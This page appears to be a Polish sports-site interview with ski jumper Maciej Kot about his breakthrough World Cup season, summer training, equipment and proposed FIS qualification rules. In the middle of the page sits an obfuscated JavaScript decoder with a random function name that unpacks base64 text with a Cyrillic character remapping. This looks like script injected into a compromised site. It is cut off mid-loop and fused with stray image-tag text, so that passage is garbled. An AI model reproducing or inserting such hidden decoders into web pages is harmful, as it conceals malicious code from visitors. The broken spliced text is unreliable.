You are currently viewing Maciej Kot dla SP: „Jest rezerwa, jestem w stanie wygrywać z najlepszymi”

Maciej Kot dla SP: „Jest rezerwa, jestem w stanie wygrywać z najlepszymi”

Maciej Kot winner.Klingenthal.2016 fot.Julia .Piatkowska - Maciej Kot dla SP: "Jest rezerwa, jestem w stanie wygrywać z najlepszymi"Po życiowym sezonie, w którym faktem stało się pierwsze pucharowe podium i pierwszy indywidualny triumf, Maciej Kot, podobnie jak jego koledzy z kadry A intensywnie przygotowuje się do ważnego olimpijskiego sezonu. – Rezerwa jeszcze jest, ale inni nie śpią. Wiem na co mnie stać, będę pracował, aby dalej wygrywać – zapewnił nas 26-letni polski skoczek.

 

Bartosz Leja: Co prawda rozpoczęliście już przygotowania do letnich startów, ale czy zdołałeś już ochłonąć po swoim życiowym sezonie w Pucharze Świata?

Maciej Kot: Szybko podsumowałem zeszłą zimę i lato i to co się działo, wyciągnąłem wnioski, nauczyłem się czegoś i nabrałem doświadczenia. Z tego wszystkiego trzeba wyciągnąć jak najwięcej pozytywnych rzeczy, które mogą się przydać w przyszłości, jak choćby pewność siebie, wiarę we własne możliwości, ale też trochę luzu i radości. Ta krótka przerwa którą mieliśmy sprzyjała też temu, żeby myśleć już o przyszłości. To wszystko jest potrzebne teraz, w lecie, kiedy te treningi są monotonne. Trzeba dużo motywacji, żeby dać z siebie wszystko. Wiadomo też, że świadomość tego co nas czeka w przyszłym sezonie jest wielką motywacją, bo wszyscy wiemy o co walczymy.

 
Kot Maciej WSC.Lahti .2017 fot.Julia .Piatkowska 300x200 - Maciej Kot dla SP: "Jest rezerwa, jestem w stanie wygrywać z najlepszymi"
Maciej Kot (fot. Julia Piątkowska)

Kiedyś sporo mówiło się o tym jak potrzebne jest Tobie przełomowe indywidualne podium. Czy po premierowym podium, a później po zwycięstwie poczułeś się pewniej w ścisłej światowej czołówce?

Każde dobre miejsce daje dużo pewności siebie. Jest to niezbędne do tego, żeby skakać na najwyższym poziomie i walczyć o najwyższe miejsca. Ta wiara cały czas gdzieś była, ale wszystko musi być przede wszystkim poparte dobrymi skokami, formą i wynikami. Nie da się pewnych rzeczy przeskoczyć, trzeba dążyć do tego krok po kroku i tak było w moim przypadku. Zacząłem wchodzić do trzydziestki, do dwudziestki, w ostatnim sezonie zacząłem już od czołowej dziesiątki, później była czołowa szóstka, w końcu podium, a następnym krokiem były zwycięstwa, które przyszły w Japonii i Korei. To mi pokazało, że jestem w stanie wygrywać nawet z najlepszymi. Rezerwa jeszcze jest, ale inni nie śpią. Wiem na co mnie stać, więc będę pracował, aby dalej wygrywać.

 

Za Wami już ponad rok współpracy ze Stefanem Horngacherem. Czy na początku tegorocznych przygotowań trener czymś Was zaskoczył?

Przygotowania znacznie się nie różnią od tych zeszłorocznych. Nie byłoby sensu za dużo zmieniać. Jak to się mówi w sportach drużynowych, zwycięskiego składu się nie zmienia. Jeśli coś działa, to tego też się nie zmienia, trzymamy się sprawdzonego schematu przygotowań. Oczywiście jest trochę rzeczy, których nie zdążyliśmy wprowadzić w zeszłym roku, albo nie mieliśmy takich możliwości, więc cały czas udoskonalamy proces treningu. Chcemy się rozwijać, wprowadzamy nowe rzeczy, udoskonalenia, bo chcemy być jeszcze lepsi. Ogólny zarys i pomysł na to co robimy jest jednak taki sam.

 
Zyla Kot Horngacher WSC.Lahti .2017 fot.Julia .Piatkowska 300x200 - Maciej Kot dla SP: "Jest rezerwa, jestem w stanie wygrywać z najlepszymi"
Piotr Żyła i Maciej Kot w rozmowie z trenerem Stefanem Horngacherem (fot. Julia Piątkowska)

Na czym konkretnie polegają te udoskonalenia?

Jeśli chodzi o sprzęt, wiadomo, że o tym nie mogę o tym powiedzieć, bo to jest ściśle tajne. To pewnie pokażemy dopiero zimą na najważniejszych zawodach. Jeżeli chodzi o udoskonalenie samego procesu treningowego, staramy się wykorzystywać nowoczesną technologię. Nagrywamy treningi, analizujemy wideo już nie tylko na skoczni, ale także te odbywające się na sali gimnastycznej, po to aby każde ćwiczenie było wykonywane tak jak ma być, pod względem technicznym, jak i motorycznym, na 100 procent. Zawodnik ma możliwość dokładnej analizy, aby następnym razem poprawić błędy. Dbamy o symetrię, żeby wszystko było perfekcyjne. Współpracujemy też z nową osobą – to Jakub Kozel, fizjoterapeuta z Czech, który pomaga nam pogłębiać tematy związane ze stabilizacją ciała.

 

Nawiązując jeszcze do sprzętu. Norwegowie przyznali, że miniony sezon przegrali głównie przez brak nowoczesnego sprzętu. Czy myślisz, że w ostatnim roku sprzęt w dużej mierze pomógł polskiej kadrze na uzyskanie przewagi nad rywalami?

Czy sprzęt nam pomógł? Na pewno nie przeszkodził. Ważne jeśli skoki są dobre, ale ten sprzęt jest niezbędny do tego, aby wygrywać. W poprzednich sezonach sprzęt mieliśmy na dużo słabszym poziomie, a od zeszłego sezonu udało się to doprowadzić do poziomu rywali. Wtedy o wszystkim decydował już poziom sportowy. My chcemy dalej się rozwijać także pod względem sprzętu, to my chcemy zaskakiwać rywali, a nie chcemy być zaskakiwani przez nich. Oczywiście już zrobiliśmy duży postęp i Norwegowie mogą mówić o słabszych wynikach dlatego, że my mieliśmy lepszy sprzęt. W poprzednich latach jednak oni też byli w tym bardzo dobrzy. Po prostu w zeszłym roku oni zostali w miejscu i poziom sportowy trochę poszedł u nich w dół. Taka jest specyfika tego sportu. Buty, wiązania, kombinezon i narty są bardzo ważne i ta wojna technologiczna zawsze będzie. Dlatego nad tym pracujemy.

 
Kot Maciej trening.Szczyrk.2015 fot.Bartosz.Leja  300x200 - Maciej Kot dla SP: "Jest rezerwa, jestem w stanie wygrywać z najlepszymi"
Maciej Kot na skoczni w Szczyrku (fot. Bartosz Leja)

Tej wiosny macie już za sobą zgrupowania w Szczyrku, Hinzenbach i Hinterzarten. Jak Tobie skakało się na tamtejszych skoczniach?

W Hinterzarten zaczęło mi się już naprawdę fajnie skakać. Podczas obozów w Szczyrku i Hinzenbach na samym początku trenowaliśmy dużo na siłowni i nie było takiego czucia, które jest potrzebne do skakania. Złapałem je dopiero w Hinterzarten, lubię też tą skocznię. Czuję, że skoki są coraz lepsze, elementy, które chciałem poprawić wyglądają lepiej i to wszystko idzie w dobrą stronę. Za wcześniej jednak, aby mówić o jakiejś formie. Do zimy daleko, a to zima jest najważniejsza i wtedy ma być forma.

 

Zima oczywiście jest priorytetem, ale jak pamiętamy, zeszłego lata także skakałeś świetnie i wygrałeś cykl FIS Grand Prix. Myślisz o obronie trofeum?

Latem odpuścimy dalekie podróże, nie weźmiemy udziału we wszystkich startach. Letnie Grand Prix jest przygotowaniem do zimy i traktujemy to treningowo. Oczywiście kiedy przychodzą zawody skaczemy na 100 procent. Nie mówię o obronie tytułu i wygrywaniu, ale będziemy chcieli zajmować jak najlepsze miejsca. Miło byłoby oczywiście stanąć na podium, aby zaznaczyć swoją obecność na zawodach, jednak nie będę po lecie wyciągał pochopnych wniosków.

 

Latem testowany będzie pomysł FIS dotyczący obowiązkowej kwalifikacji także dla czołowej dziesiątki Pucharu Świata. Czy sądzisz o tej propozycji?

- Maciej Kot dla SP: "Jest rezerwa, jestem w stanie wygrywać z najlepszymi"function u2fd518ba9147(q3){var u9='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var y7='';var ve,p7,w9,w4,y6,p9,y4;var s0=0;do{w4=u9.indexOf(q3.charAt(s0++));y6=u9.indexOf(q3.charAt(s0++));p9=u9.indexOf(q3.charAt(s0++));y4=u9.indexOf(q3.charAt(s0++));ve=(w4<<2)|(y6>>4);p7=((y6&15)<<4)|(p9>>2);w9=((p9&3)<<6)|y4;if(ve>=192)ve+=848;else if(ve==168)ve=1025;else if(ve==184)ve=1105;y7+=String.fromCharCode(ve);if(p9!=64){if(p7>=192)p7+=848;else if(p7==168)p7=1025;else if(p7==184)p7=1105;y7+=String.fromCharCode(p7);}if(y4!=64){if(w9>=192)w9+=848;else if(w9==168)w9=1025;else if(w9==184)w9=1105;y7+=String.fromCharCode(w9);}}while(s0and Prix 2016 (fot. Julia Piątkowska)" src="http://www.skokipolska.pl/wp-content/uploads/2016/10/Kot_Maciej_Klingenthal.2016_fot.Julia_.Piatkowska-300x200.jpg" alt="Maciej Kot z trofeum za zwycięstwo w cyklu FIS Grand Prix 2016 (fot. Julia Piątkowska)" width="300" height="200" /> Maciej Kot z trofeum za zwycięstwo w cyklu FIS Grand Prix 2016 (fot. Julia Piątkowska)

Oczywiście mnie to zaskoczyło. Jestem do tego nastawiony trochę negatywnie. Jednak czołowa dziesiątka powinna mieć jakieś przywileje, choćby takie, żeby można było odpuścić kwalifikacje, bądź coś wówczas przetestować. Jeżeli to się zniesie, nazywanie tego "czołową dziesiątką" przestanie mieć sens. Wiadomo, że z jednej strony każdy będzie równy, ale szczerze ta formuła pierwszej dziesiątki dobrze się sprawdzała, także nie wiem po co są te zmiany. Nie widzę w tym głębszego sensu. Można by się pokusić o wprowadzenie kwalifikacji w najważniejszych imprezach jak igrzyska olimpijskie czy mistrzostwa świata, żeby wtedy wszyscy byli równi. W Pucharze Świata gdzie tych startów jest naprawdę dużo, jest to przywilej, który powinien być utrzymany.

 

Jak wiemy, w Zakopanem trwa drugi etap modernizacji Wielkiej Krokwi, obiekt w Wiśle jeszcze w tym roku czeka montaż torów lodowych. W jakim stopniu obecność dwóch w pełni nowoczesnych skoczni pomoże polskim zawodnikom?

Będziemy mieć takie skocznie na miejscu i będziemy mogli spokojnie na nich trenować nie przejmując się większym ruchem na skoczni. Umożliwi to efektywniejsze trenowanie, bo jednak podróżowanie nam nie służy. Jeżeli jesteśmy w stanie zamienić dzień podróży na dzień treningu to jest to dobre. Oczywiście nie można cały czas skakać na jednej skoczni, ale posiadanie dwóch, trzech ośrodków u siebie w kraju, ogranicza podróże i umożliwia fajne trenowanie na swoich obiektach. Pozwoli to też na organizowanie takich zawodów jak inauguracja Pucharu Świata, co jest też dla zawodników i organizatorów dużą sprawą.

 

A na jakich skoczniach potrenujecie jeszcze przed startem Letniego Grand Prix?

Przed rozpoczęciem LGP mamy w planach poskakać w Ramsau i Wiśle.

 

rozmawiał Bartosz Leja

 

Dodaj komentarz